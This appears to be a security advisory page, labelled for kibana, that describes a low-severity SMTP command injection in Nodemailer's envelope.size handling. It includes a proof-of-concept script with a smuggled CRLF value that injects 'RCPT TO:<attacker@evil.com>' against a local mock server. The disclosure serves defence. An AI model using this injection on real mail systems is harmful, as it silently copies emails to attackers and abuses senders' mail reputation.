kibana - GHSA-c7w3-x93f-qmm8
Back to Overview
Detailed information about this CVE

Severity

LOW

Description

### Summary When a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\r\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails. ### Details In `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization: ```javascript if (this._envelope.size && this._supportedExtensions.includes('SIZE')) { args.push('SIZE=' + this._envelope.size); } ``` This contrasts with other envelope parameters in the same function that ARE properly sanitized: - **Addresses** (`from`, `to`): validated for `[\r\n<>]` at lines 1107-1127 - **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183 The `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim: ```javascript const standardFields = ['to', 'cc', 'bcc', 'from']; Object.keys(envelope).forEach(key => { if (!standardFields.includes(key)) { this._envelope[key] = envelope[key]; } }); ``` Since `_sendCommand()` writes the command string followed by `\r\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command. Note: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. While this limits the attack surface, applications that expose envelope configuration to users are affected. ### PoC ave the following as `poc.js` and run with `node poc.js`: ```javascript const net = require('net'); const nodemailer = require('nodemailer'); // Minimal SMTP server that logs raw commands const server = net.createServer(socket => { socket.write('220 localhost ESMTP\r\n'); let buffer = ''; socket.on('data', chunk => { buffer += chunk.toString(); const lines = buffer.split('\r\n'); buffer = lines.pop(); for (const line of lines) { if (!line) continue; console.log('C:', line); if (line.startsWith('EHLO')) { socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n'); } else if (line.startsWith('MAIL FROM')) { socket.write('250 OK\r\n'); } else if (line.startsWith('RCPT TO')) { socket.write('250 OK\r\n'); } else if (line === 'DATA') { socket.write('354 Start\r\n'); } else if (line === '.') { socket.write('250 OK\r\n'); } else if (line.startsWith('QUIT')) { socket.write('221 Bye\r\n'); socket.end(); } } }); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log('SMTP server on port', port); console.log('Sending email with injected RCPT TO...\n'); const transporter = nodemailer.createTransport({ host: '127.0.0.1', port, secure: false, tls: { rejectUnauthorized: false }, }); transporter.sendMail({ from: 'sender@example.com', to: 'recipient@example.com', subject: 'Normal email', text: 'This is a normal email.', envelope: { from: 'sender@example.com', to: ['recipient@example.com'], size: '100\r\nRCPT TO:<attacker@evil.com>', }, }, (err) => { if (err) console.error('Error:', err.message); console.log('\nExpected output above:'); console.log(' C: MAIL FROM:<sender@example.com> SIZE=100'); console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED'); console.log(' C: RCPT TO:<recipient@example.com>'); server.close(); transporter.close(); }); }); ``` **Expected output:** ``` SMTP server on port 12345 Sending email with injected RCPT TO... C: EHLO [127.0.0.1] C: MAIL FROM:<sender@example.com> SIZE=100 C: RCPT TO:<attacker@evil.com> C: RCPT TO:<recipient@example.com> C: DATA ... C: . C: QUIT ``` The `RCPT TO:<attacker@evil.com>` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email. ### Impact This is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can: - **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport - **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server) - **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery The severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable. Affected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.

CVSS Scores

Affected Versions

  • 9.4.0
  • 9.3.4
  • 9.3.3
  • 9.3.2
  • 9.3.1
  • 9.3.0
  • 9.2.8
  • 9.2.7
  • 9.2.6
  • 9.2.5
  • 9.2.4
  • 9.2.3
  • 9.2.2
  • 9.2.1
  • 9.2.0
  • 9.1.10
  • 9.1.9
  • 9.1.8
  • 9.1.7
  • 9.1.6
  • 9.1.5
  • 9.1.4
  • 9.1.3
  • 9.1.2
  • 9.1.1
  • 9.1.0
  • 9.0.8
  • 9.0.7
  • 9.0.6
  • 9.0.5
  • 9.0.4
  • 9.0.3
  • 9.0.2
  • 9.0.1
  • 9.0.0
  • 8.19.15
  • 8.19.14
  • 8.19.13
  • 8.19.12
  • 8.19.11
  • 8.19.10
  • 8.19.9
  • 8.19.8
  • 8.19.7
  • 8.19.6
  • 8.19.5
  • 8.19.4
  • 8.19.3
  • 8.19.2
  • 8.19.1
  • 8.19.0
  • 8.18.8
  • 8.18.7
  • 8.18.6
  • 8.18.5
  • 8.18.4
  • 8.18.3
  • 8.18.2
  • 8.18.1
  • 8.18.0
  • 8.17.10
  • 8.17.9
  • 8.17.8
  • 8.17.7
  • 8.17.6
  • 8.17.5
  • 8.17.4
  • 8.17.3
  • 8.17.2
  • 8.17.1
  • 8.17.0
  • 8.16.6
  • 8.16.5
  • 8.16.4
  • 8.16.3
  • 8.16.2
  • 8.16.1
  • 8.16.0
  • 8.15.5
  • 8.15.4
  • 8.15.3
  • 8.15.2
  • 8.15.1
  • 8.15.0
  • 8.14.3
  • 8.14.2
  • 8.14.1
  • 8.14.0
  • 8.13.4
  • 8.13.3
  • 8.13.2
  • 8.13.1
  • 8.13.0
  • 8.12.2
  • 8.12.1
  • 8.12.0
  • 8.11.4
  • 8.11.3
  • 8.11.2
  • 8.11.1
  • 8.11.0
  • 8.10.4
  • 8.10.3
  • 8.10.2
  • 8.10.1
  • 8.9.2
  • 8.9.1
  • 8.9.0
  • 8.8.2
  • 8.8.1
  • 8.8.0
  • 8.7.1
  • 8.7.0
  • 8.6.2
  • 8.6.1
  • 8.6.0
  • 8.5.3
  • 8.5.2
  • 8.5.1
  • 8.5.0
  • 8.4.3
  • 8.4.2
  • 8.4.1
  • 8.4.0
  • 8.3.3
  • 8.3.2
  • 8.3.1
  • 8.3.0
  • 8.2.3
  • 8.2.2
  • 8.2.1
  • 8.2.0
  • 8.1.3
  • 8.1.2
  • 8.1.1
  • 8.1.0
  • 8.0.1
  • 8.0.0

Not Affected Versions